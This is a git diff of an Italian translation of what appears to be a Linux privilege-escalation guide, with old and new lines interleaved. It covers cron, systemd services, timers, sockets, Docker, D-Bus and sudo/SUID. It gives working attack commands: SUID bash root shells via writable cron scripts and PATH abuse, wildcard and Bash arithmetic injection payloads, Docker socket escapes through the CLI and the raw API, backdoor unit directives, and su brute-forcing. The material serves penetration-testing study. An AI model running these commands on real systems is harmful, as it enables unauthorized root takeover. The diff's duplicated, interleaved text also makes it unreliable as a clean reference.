Backups/scripts with `zip -P ` -- systemd unit exposing `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` -- Tunnel and login: +Catena tipica +- Individuare una porta accessibile solo da loopback (es., 127.0.0.1:8000) e il realm Basic-Auth tramite `ss -ntlp` / `curl -v localhost:8000` +- Trovare credenziali in artifact operativi: +- Backups/scripts con `zip -P ` +- unità systemd che espone `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` +- Tunnel e login: ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate ``` -- Crea un job con privilegi elevati ed eseguilo immediatamente (rilascia SUID shell): +- Crea un job high-priv e eseguilo immediatamente (drops SUID shell): ```bash # Name: escalate # Command: @@ -341,41 +341,39 @@ cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell /tmp/rootshell -p # root shell ``` Hardening -- Non eseguire Crontab UI come root; limitane l'esecuzione a un user dedicato con permessi minimi -- Limitare l'ascolto a localhost e restringere ulteriormente l'accesso tramite firewall/VPN; non riutilizzare passwords -- Evita di incorporare secrets in unit files; usa secret stores o EnvironmentFile accessibile solo da root -- Abilita audit/logging per le on-demand job executions +- Non eseguire Crontab UI come root; limitane l'uso a un utente dedicato con permessi minimi +- Legare a localhost e limitare ulteriormente l'accesso tramite firewall/VPN; non riusare le password +- Evita di inserire secrets nei unit files; usa secret stores o un EnvironmentFile accessibile solo da root +- Abilita audit/logging per le esecuzioni on-demand dei job - - -Controlla se qualche scheduled job è vulnerabile. Forse puoi sfruttare uno script eseguito da root (wildcard vuln? puoi modificare i file che root usa? usare symlinks? creare file specifici nella directory che root usa?). +Controlla se qualche scheduled job è vulnerabile. Forse puoi sfruttare uno script eseguito da root (wildcard vuln? puoi modificare file che root usa? usare symlinks? creare file specifici nella directory che root usa?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Percorso Cron +### Cron path -Ad esempio, all'interno di _/etc/crontab_ puoi trovare il PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Per esempio, all'interno di _/etc/crontab_ puoi trovare il PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Nota come l'utente "user" abbia privilegi di scrittura su /home/user_) +(_Nota come l'utente "user" ha privilegi di scrittura su /home/user_) -Se all'interno di questo crontab l'utente root prova a eseguire un comando o script senza impostare il PATH. Per esempio: _\* \* \* \* root overwrite.sh_\ -Quindi, puoi ottenere una root shell usando: +Se all'interno di questo crontab l'utente root prova a eseguire un comando o uno script senza impostare il PATH. Per esempio: _\* \* \* \* root overwrite.sh_\ +Allora, puoi ottenere una root shell usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron che usa uno script con un wildcard (Wildcard Injection) +### Cron che utilizza uno script con un wildcard (Wildcard Injection) -Se uno script eseguito da root ha un “**\***” all'interno di un comando, puoi sfruttarlo per ottenere comportamenti inaspettati (come privesc). Esempio: +Se uno script eseguito da root contiene un “**\***” all'interno di un comando, puoi sfruttarlo per far accadere cose inaspettate (come privesc). Esempio: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Se il wildcard è preceduto da un percorso come** _**/some/path/\***_ **, non è vulnerabile (neppure** _**./\***_ **).** +**Se il wildcard è preceduto da un percorso come** _**/some/path/\***_ **, non è vulnerabile (nemmeno** _**./\***_ **lo è).** -Read the following page for more wildcard exploitation tricks: +Leggi la pagina seguente per altri trucchi di exploitation dei wildcard: {{#ref}} @@ -385,11 +383,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs. +Bash esegue parameter expansion e command substitution prima della valutazione aritmetica in ((...)), $((...)) e let. Se un cron/parser eseguito come root legge campi di log non affidabili e li passa in un contesto aritmetico, un attacker può iniettare una command substitution $(...) che verrà eseguita come root quando il cron viene eseguito. -- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. +- Perché funziona: In Bash, le expansion avvengono in questo ordine: parameter/variable expansion, command substitution, arithmetic expansion, poi word splitting e pathname expansion. Quindi un valore come `$(/bin/bash -c 'id > /tmp/pwn')0` viene prima sostituito (eseguendo il comando), poi il rimanente numerico `0` viene usato per l'aritmetica così lo script continua senza errori. -- Typical vulnerable pattern: +- Pattern tipico vulnerabile: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -399,7 +397,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: Get attacker-controlled text written into the parsed log so that the numeric-looking field contains a command substitution and ends with a digit. Ensure your command does not print to stdout (or redirect it) so the arithmetic remains valid. +- Sfruttamento: Fai scrivere testo controllato dall'attacker nel log parsato in modo che il campo che sembra numerico contenga una command substitution e finisca con una cifra. Assicurati che il tuo comando non stampi su stdout (o reindirizzalo) in modo che l'aritmetica rimanga valida. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -408,115 +406,115 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -If you **can modify a cron script** executed by root, you can get a shell very easily: +Se **puoi modificare uno script cron** eseguito da root, puoi ottenere una shell molto facilmente: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Se lo script eseguito da root usa una **directory in cui hai pieno accesso**, potrebbe essere utile cancellare quella cartella e **creare una symlink verso un'altra** che punti a uno script controllato da te +Se lo script eseguito da root utilizza una **directory alla quale hai pieno accesso**, potrebbe essere utile eliminare quella cartella e **creare un symlink verso un'altra cartella** che serva uno script controllato da te ```bash ln -d -s ``` -### Cron jobs frequenti +### Cron job frequenti -Puoi monitorare i processi per cercare processi che vengono eseguiti ogni 1, 2 o 5 minuti. Forse puoi sfruttare questa circostanza per ottenere privilegi elevati. +Puoi monitorare i processi per cercare quelli che vengono eseguiti ogni 1, 2 o 5 minuti. Potresti approfittarne per elevare i privilegi. -Ad esempio, per **monitorare ogni 0.1s durante 1 minute**, **ordinare per comandi meno eseguiti** e eliminare i comandi che sono stati eseguiti più spesso, puoi fare: +Ad esempio, per **monitorare ogni 0.1s per 1 minuto**, **ordinare in base ai comandi meno eseguiti** e eliminare i comandi che sono stati eseguiti di più, puoi fare: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Puoi anche usare** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (questo monitorerà ed elencherà ogni processo che viene avviato). +**Puoi anche usare** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (monitorerà ed elencherà ogni processo che viene avviato). -### Cron job invisibili +### Cron jobs invisibili -È possibile creare un cronjob **inserendo un ritorno a capo dopo un commento** (senza il carattere di nuova riga), e il cronjob funzionerà. Esempio (nota il carattere ritorno a capo): +È possibile creare un cronjob **mettendo un carriage return dopo un commento** (senza il carattere di nuova riga), e il cron job funzionerà. Esempio (nota il carattere carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Servizi -### Scrivibili _.service_ files +### File _.service_ scrivibili -Verifica se puoi scrivere qualsiasi file `.service`, se puoi, **potresti modificarlo** in modo che **esegua** la tua **backdoor quando** il service viene **avviato**, **riavviato** o **arrestato** (potrebbe essere necessario attendere il riavvio della macchina).\ -Ad esempio crea la tua backdoor all'interno del file .service con **`ExecStart=/tmp/script.sh`** +Verifica se puoi scrivere qualsiasi file `.service`, se puoi, **potresti modificarlo** così che **esegua** la tua **backdoor quando** il servizio è **avviato**, **riavviato** o **arrestato** (potrebbe essere necessario aspettare il riavvio della macchina).\ +Ad esempio crea la tua backdoor all'interno del file `.service` con **`ExecStart=/tmp/script.sh`** -### Scrivibili service binaries +### Binari di servizio scrivibili -Tieni presente che se hai **permessi di scrittura sui binaries eseguiti dai services**, puoi modificarli per inserire backdoors in modo che, quando i services vengono rieseguiti, le backdoors vengano eseguite. +Tieni presente che se hai **permessi di scrittura sui binari eseguiti dai servizi**, puoi modificarli per inserire backdoors così quando i servizi vengono rieseguiti le backdoors verranno eseguite. -### systemd PATH - Relative Paths +### systemd PATH - Percorsi relativi Puoi vedere il PATH usato da **systemd** con: ```bash systemctl show-environment ``` -Se scopri che puoi **write** in una qualsiasi delle cartelle del percorso, potresti essere in grado di **escalate privileges**. Devi cercare **relative paths being used on service configurations** nei file come: +Se scopri di poter **scrivere** in una qualsiasi delle cartelle del percorso, potresti essere in grado di **escalate privileges**. Devi cercare **percorsi relativi usati nei file di configurazione dei servizi** come: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Quindi, crea un **eseguibile** con **lo stesso nome del binario (indicato dal percorso relativo)** nella cartella PATH di systemd in cui puoi scrivere, e quando al servizio viene richiesto di eseguire l'azione vulnerabile (**Avvia**, **Arresta**, **Ricarica**), la tua **backdoor verrà eseguita** (gli utenti non privilegiati di solito non possono avviare/arrestare servizi, ma verifica se puoi usare `sudo -l`). +Poi crea un **executable** con lo **stesso nome del binario relativo** nella cartella systemd PATH che puoi scrivere, e quando il servizio viene chiamato a eseguire l'azione vulnerabile (**Start**, **Stop**, **Reload**), la tua **backdoor verrà eseguita** (gli utenti non privilegiati di solito non possono avviare/fermare servizi ma verifica se puoi usare `sudo -l`). **Per saperne di più sui servizi usa `man systemd.service`.** -## **Timers** +## **Timer** -**Timers** sono unit file di systemd il cui nome termina in `**.timer**` e che controllano file o eventi `**.service**`. I **timer** possono essere usati come alternativa a cron, poiché hanno supporto integrato per eventi basati sul calendario e per eventi monotoni e possono essere eseguiti in modo asincrono. +I **Timer** sono unit file di systemd il cui nome termina con `**.timer**` e che controllano file `**.service**` o eventi. I **Timer** possono essere usati come alternativa a cron, poiché offrono supporto integrato per eventi basati sul calendario e per eventi a tempo monotono e possono essere eseguiti in modo asincrono. -Puoi elencare tutti i timer con: +Puoi enumerare tutti i timer con: ```bash systemctl list-timers --all ``` ### Timer scrivibili -Se puoi modificare un timer, puoi far sì che esegua alcune unità esistenti di systemd.unit (come una `.service` o una `.target`) +Se puoi modificare un timer, puoi far sì che esegua alcune unità esistenti di systemd.unit (come un `.service` o un `.target`) ```bash Unit=backdoor.service ``` -Nella documentazione puoi leggere cos'è l'unità: +Nella documentazione puoi leggere cosa sia l'Unit: -> L'unità da attivare quando questo timer scade. L'argomento è un nome di unità, il cui suffisso non è ".timer". Se non specificato, questo valore di default è un servizio che ha lo stesso nome dell'unità timer, eccetto il suffisso. (Vedi sopra.) Si raccomanda che il nome dell'unità che viene attivata e il nome dell'unità timer siano identici, eccetto il suffisso. +> L'unità da attivare quando questo timer scade. L'argomento è un nome di unità, il cui suffisso non è ".timer". Se non specificato, questo valore di default corrisponde a un service che ha lo stesso nome dell'unità timer, eccetto il suffisso. (Vedi sopra.) Si raccomanda che il nome dell'unità che viene attivata e il nome dell'unità del timer siano identici, eccetto il suffisso. -Pertanto, per abusare di questo permesso avresti bisogno di: +Pertanto, per abusare di questa autorizzazione dovresti: -- Trovare qualche unità systemd (come una `.service`) che **esegue un binario scrivibile** -- Trovare qualche unità systemd che **esegue un percorso relativo** e su cui hai **permessi di scrittura** sulla **systemd PATH** (per impersonare quell'eseguibile) +- Trova qualche unità systemd (come una `.service`) che stia **eseguendo un binario scrivibile** +- Trova qualche unità systemd che stia **eseguendo un percorso relativo** e su cui hai **privilegi di scrittura** sulla **systemd PATH** (per impersonare quell'eseguibile) **Per saperne di più sui timer usa `man systemd.timer`.** -### **Abilitare il Timer** +### **Abilitare il timer** -Per abilitare un timer sono necessari i privilegi di root ed eseguire: +Per abilitare un timer sono necessari i privilegi di root ed è necessario eseguire: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Nota che il **timer** viene **attivato** creando un symlink a esso in `/etc/systemd/system/.wants/.timer` +Nota che il **timer** è **attivato** creando un symlink a esso su `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) permettono la **comunicazione tra processi** sulla stessa macchina o su macchine diverse in modelli client-server. Utilizzano i normali file descriptor Unix per la comunicazione tra computer e vengono configurati tramite file `.socket`. +Unix Domain Sockets (UDS) consentono la **comunicazione tra processi** sulla stessa macchina o su macchine diverse all'interno di modelli client-server. Utilizzano i normali file descriptor Unix per la comunicazione inter-computer e vengono configurati tramite file `.socket`. Sockets possono essere configurati usando file `.socket`. -**Per saperne di più sui sockets usare `man systemd.socket`.** All'interno di questo file si possono configurare diversi parametri interessanti: +**Per saperne di più sui sockets usa `man systemd.socket`.** All'interno di questo file, possono essere configurati diversi parametri interessanti: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse ma, in sintesi, servono a **indicare dove il socket ascolterà** (il percorso del file AF_UNIX del socket, l'IPv4/6 e/o il numero di porta da ascoltare, ecc.) -- `Accept`: Accetta un argomento booleano. Se **true**, viene **generata un'istanza di service per ogni connessione in arrivo** e solo il socket della connessione gli viene passato. Se **false**, tutti i socket di ascolto vengono **passati all'unità service avviata**, e viene generata una sola unità service per tutte le connessioni. Questo valore è ignorato per datagram socket e FIFO dove una singola unità service gestisce incondizionatamente tutto il traffico in ingresso. **Di default è false.** Per motivi di performance, è consigliato scrivere nuovi daemon in modo compatibile con `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Accetta una o più righe di comando, che vengono **eseguite prima** o **dopo** che i socket/FIFO di ascolto siano **creati** e bound, rispettivamente. Il primo token della riga di comando deve essere un percorso assoluto, seguito dagli argomenti per il processo. -- `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i socket/FIFO di ascolto siano **chiusi** e rimossi, rispettivamente. -- `Service`: Specifica il nome dell'unità **service** da **attivare** al verificarsi di **traffico in ingresso**. Questa impostazione è consentita solo per socket con Accept=no. Per default punta al service che ha lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi non è necessario usare questa opzione. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse tra loro ma in sintesi servono a **indicare dove verrà effettuato il listen** sul socket (il path del file AF_UNIX socket, l'IPv4/6 e/o il numero di porta da ascoltare, ecc.). +- `Accept`: Accetta un argomento booleano. Se **true**, viene **generata un'istanza di service per ogni connessione in ingresso** e solo il socket della connessione viene passato a quella istanza. Se **false**, tutti i socket di ascolto vengono **passati all'unità di servizio avviata**, e viene generata una sola unità di servizio per tutte le connessioni. Questo valore è ignorato per i datagram socket e le FIFO, dove una singola unità di servizio gestisce incondizionatamente tutto il traffico in ingresso. **Di default false**. Per ragioni di performance, è consigliato scrivere nuovi daemon in modo compatibile con `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Accettano una o più righe di comando, che vengono **eseguite prima** o **dopo** che i **socket**/FIFO di ascolto vengono **creati** e collegati (bound), rispettivamente. Il primo token della riga di comando deve essere un nome di file assoluto, seguito dagli argomenti per il processo. +- `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i **socket**/FIFO di ascolto vengono **chiusi** e rimossi, rispettivamente. +- `Service`: Specifica il nome dell'unità di **service** **da attivare** sul **traffico in ingresso**. Questa impostazione è consentita solo per socket con Accept=no. Di default punta al service che ha lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi non è necessario usare questa opzione. ### File .socket scrivibili -Se trovi un file `.socket` **scrivibile** puoi **aggiungere** all'inizio della sezione `[Socket]` qualcosa come: `ExecStartPre=/home/kali/sys/backdoor` e la backdoor verrà eseguita prima che il socket sia creato. Di conseguenza, **probabilmente dovrai aspettare fino al riavvio della macchina.**\ -_Nota che il sistema deve utilizzare quella configurazione del file socket altrimenti la backdoor non verrà eseguita_ +Se trovi un file `.socket` **scrivibile** puoi **aggiungere** all'inizio della sezione `[Socket]` qualcosa come: `ExecStartPre=/home/kali/sys/backdoor` e il backdoor verrà eseguito prima che il socket venga creato. Pertanto, **probabilmente dovrai aspettare il riavvio della macchina.**\ +_Nota che il sistema deve effettivamente usare quella configurazione del file socket oppure il backdoor non verrà eseguito_ ### Sockets scrivibili -Se **identifichi un socket scrivibile** (_qui parliamo dei Unix Sockets e non dei file di configurazione `.socket`_), allora **puoi comunicare** con quel socket e magari sfruttare una vulnerabilità. +Se **identifichi un socket scrivibile** (_ora stiamo parlando di Unix Sockets e non dei file di configurazione `.socket`_), allora **puoi comunicare** con quel socket e magari sfruttare una vulnerabilità. ### Enumerare Unix Sockets ```bash @@ -540,7 +538,7 @@ socket-command-injection.md ### HTTP sockets -Nota che potrebbero esserci alcuni **sockets listening for HTTP** requests (_non sto parlando dei file .socket ma dei file che agiscono come unix sockets_). Puoi verificarlo con: +Nota che potrebbero esserci alcuni **sockets listening for HTTP** requests (_non mi riferisco ai file .socket ma ai file che fungono da unix sockets_). Puoi verificarlo con: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` @@ -548,40 +546,40 @@ Se la socket **risponde a una richiesta HTTP**, allora puoi **comunicare** con e ### Docker socket scrivibile -Il Docker socket, spesso reperibile in `/var/run/docker.sock`, è un file critico che deve essere protetto. Per impostazione predefinita, è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Avere accesso in scrittura a questa socket può portare a privilege escalation. Di seguito una panoramica su come ciò può essere fatto e sui metodi alternativi se il Docker CLI non è disponibile. +Il Docker socket, spesso presente in `/var/run/docker.sock`, è un file critico che dovrebbe essere protetto. Di default, è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Avere accesso in scrittura a questo socket può portare a privilege escalation. Ecco una panoramica di come ciò può essere fatto e dei metodi alternativi se il Docker CLI non è disponibile. #### **Privilege Escalation with Docker CLI** -Se hai accesso in scrittura al Docker socket, puoi ottenere privilegi elevati usando i seguenti comandi: +Se hai accesso in scrittura al Docker socket, puoi ottenere privilege escalation usando i seguenti comandi: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Questi comandi permettono di eseguire un container con accesso root al filesystem dell'host. +Questi comandi consentono di eseguire un container con accesso root al file system dell'host. -#### **Using Docker API Directly** +#### **Utilizzo diretto della Docker API** -Nel caso in cui la Docker CLI non sia disponibile, il Docker socket può comunque essere manipolato usando la Docker API e comandi `curl`. +Quando il Docker CLI non è disponibile, è comunque possibile manipolare il socket di Docker usando la Docker API e comandi `curl`. -1. **List Docker Images:** Recupera la lista delle immagini disponibili. +1. **List Docker Images:** Retrieve the list of available images. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Invia una richiesta per creare un container che monta la directory root del sistema host. +2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Start the newly created container: +Avvia il container appena creato: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Usa `socat` per stabilire una connessione al container, abilitando l'esecuzione di comandi al suo interno. +3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -591,13 +589,13 @@ Connection: Upgrade Upgrade: tcp ``` -Dopo aver stabilito la connessione con `socat`, puoi eseguire comandi direttamente nel container con accesso root al filesystem dell'host. +Dopo aver stabilito la connessione `socat`, puoi eseguire comandi direttamente nel container con accesso root al file system dell'host. -### Altri +### Altro -Nota che se hai permessi di scrittura sul docker socket perché sei **nel gruppo `docker`** hai [**altri modi per escalare i privilegi**](interesting-groups-linux-pe/index.html#docker-group). Se la [**docker API è in ascolto su una porta** potresti anche essere in grado di comprometterla](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Nota che se hai permessi di scrittura sul docker socket perché sei **inside the group `docker`** hai [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Se la [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Controlla **altri modi per evadere da docker o sfruttarlo per escalare i privilegi** in: +Controlla **more ways to break out from docker or abuse it to escalate privileges** in: {{#ref}} @@ -606,7 +604,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Se scopri di poter usare il comando **`ctr`**, leggi la pagina seguente poiché **potresti essere in grado di abusarne per escalare i privilegi**: +If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -615,7 +613,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Se scopri di poter usare il comando **`runc`**, leggi la pagina seguente poiché **potresti essere in grado di abusarne per escalare i privilegi**: +If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -624,15 +622,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus è un sofisticato **inter-Process Communication (IPC) system** che permette alle applicazioni di interagire e scambiare dati in modo efficiente. Progettato per i sistemi Linux moderni, offre un framework robusto per diverse forme di comunicazione tra applicazioni. +D-Bus è un sofisticato sistema di inter-Process Communication (IPC) che permette alle applicazioni di interagire e condividere dati in modo efficiente. Progettato per i sistemi Linux moderni, offre un framework robusto per diverse forme di comunicazione tra applicazioni. -Il sistema è versatile, supportando IPC di base che facilita lo scambio di dati tra processi, ricordando le **enhanced UNIX domain sockets**. Inoltre, aiuta nella trasmissione di eventi o segnali, favorendo un'integrazione fluida tra i componenti di sistema. Per esempio, un segnale da un daemon Bluetooth riguardo a una chiamata in arrivo può indurre un lettore musicale a silenziarsi, migliorando l'esperienza utente. Inoltre, D-Bus supporta un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodi tra applicazioni, snellendo processi che erano tradizionalmente complessi. +Il sistema è versatile, supportando IPC di base che migliora lo scambio di dati tra processi, in modo analogo a socket di dominio UNIX potenziati. Inoltre, aiuta nella broadcast di eventi o segnali, favorendo l'integrazione tra componenti di sistema. Ad esempio, un segnale da un daemon Bluetooth riguardo una chiamata in entrata può indurre un lettore multimediale a disattivare l'audio, migliorando l'esperienza utente. Inoltre, D-Bus supporta un sistema di oggetti remoti, semplificando richieste di servizio e invocazioni di metodi tra applicazioni, snellendo processi che tradizionalmente erano complessi. -D-Bus opera su un modello **allow/deny**, gestendo i permessi dei messaggi (chiamate di metodo, emissione di segnali, ecc.) basandosi sull'effetto cumulativo delle regole di policy corrispondenti. Queste policy specificano le interazioni con il bus, potenzialmente consentendo privilege escalation tramite lo sfruttamento di questi permessi. +D-Bus opera su un modello di allow/deny, gestendo i permessi dei messaggi (chiamate di metodo, emissione di segnali, ecc.) basandosi sull'effetto cumulativo delle regole di policy corrispondenti. Queste policy specificano le interazioni con il bus e possono potenzialmente permettere escalation di privilegi tramite lo sfruttamento di tali permessi. -È fornito un esempio di tale policy in `/etc/dbus-1/system.d/wpa_supplicant.conf`, che dettaglia i permessi per l'utente root di possedere, inviare e ricevere messaggi da `fi.w1.wpa_supplicant1`. +Un esempio di tale policy in /etc/dbus-1/system.d/wpa_supplicant.conf è fornito, dettagliando i permessi per l'utente root di possedere, inviare e ricevere messaggi da fi.w1.wpa_supplicant1. -Le policy senza un utente o gruppo specificato si applicano universalmente, mentre le policy di contesto "default" si applicano a tutti quelli non coperti da altre policy specifiche. +Le policy senza un utente o gruppo specificato si applicano universalmente, mentre le policy nel contesto "default" si applicano a tutti coloro che non sono coperti da altre policy specifiche. ```xml @@ -641,18 +639,18 @@ Le policy senza un utente o gruppo specificato si applicano universalmente, ment ``` -**Scopri come enumerare e sfruttare una comunicazione D-Bus qui:** +**Impara come enumerare e sfruttare una comunicazione D-Bus qui:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}} -## **Network** +## **Rete** -È sempre interessante enumerare la network e capire la posizione della macchina. +È sempre utile enumerare la rete e capire la posizione della macchina. -### Generic enumeration +### Enumerazione generica ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -675,16 +673,16 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Open ports +### Porte aperte -Controlla sempre i network services in esecuzione sulla macchina con cui non sei riuscito a interagire prima di accedervi: +Controlla sempre i servizi di rete in esecuzione sulla macchina con cui non sei riuscito a interagire prima di accedervi: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Controlla se puoi sniffare il traffico. Se ci riesci, potresti essere in grado di ottenere alcune credenziali. +Verifica se puoi sniffare il traffico. Se ci riesci, potresti essere in grado di ottenere alcune credenziali. ``` timeout 1 tcpdump ``` @@ -692,7 +690,7 @@ timeout 1 tcpdump ### Enumerazione generica -Controlla **chi** sei, quali **privileges** hai, quali **users** sono nei sistemi, quali possono effettuare il **login** e quali hanno i **root privileges**: +Controlla **chi** sei, quali **privilegi** hai, quali **utenti** sono nei sistemi, quali possono effettuare il **login** e quali hanno i **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -714,14 +712,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### UID grande +### UID grandi -Alcune versioni di Linux sono state affette da un bug che permette agli utenti con **UID > INT_MAX** di elevare i privilegi. Maggiori informazioni: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Alcune versioni di Linux sono state colpite da un bug che permette agli utenti con **UID > INT_MAX** di ottenere l'elevazione dei privilegi. Maggiori info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Sfruttalo** usando: **`systemd-run -t /bin/bash`** ### Gruppi -Verifica se sei **membro di qualche gruppo** che potrebbe concederti i privilegi di root: +Controlla se sei **membro di qualche gruppo** che potrebbe concederti privilegi root: {{#ref}} @@ -747,27 +745,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Password conosciute -Se **conosci qualsiasi password** dell'ambiente **prova a effettuare il login come ciascun utente** usando la password. +Se **conosci qualche password** dell'ambiente **prova a effettuare il login come ogni utente** usando quella password. ### Su Brute -Se non ti dispiace fare molto rumore e i binari `su` e `timeout` sono presenti sul computer, puoi provare a brute-forceare gli utenti usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anche a brute-forceare gli utenti. +Se non ti dispiace generare molto rumore e i binari `su` e `timeout` sono presenti sulla macchina, puoi provare a effettuare un brute-force sugli utenti usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anche a effettuare un brute-force sugli utenti. -## Abusi su PATH scrivibile +## Abusi del PATH scrivibile ### $PATH -Se trovi che puoi **scrivere in qualche cartella del $PATH** potresti essere in grado di escalare i privilegi creando una backdoor all'interno della cartella scrivibile con il nome di un comando che sarà eseguito da un altro utente (idealmente root) e che **non venga caricato da una cartella posizionata prima** della tua cartella scrivibile in $PATH. +Se scopri di poter **scrivere in qualche cartella del $PATH** potresti essere in grado di escalate privileges creando **una backdoor nella cartella scrivibile** con il nome di un comando che verrà eseguito da un altro utente (idealmente root) e che **non venga caricato da una cartella che si trovi prima** della tua cartella scrivibile nel $PATH. ### SUDO and SUID -Potresti essere autorizzato a eseguire qualche comando usando sudo o potrebbero avere il bit suid. Controllalo usando: +Potresti essere autorizzato a eseguire alcuni comandi usando sudo oppure alcuni binari potrebbero avere il bit suid. Controllalo usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Alcuni **comandi inattesi permettono di leggere 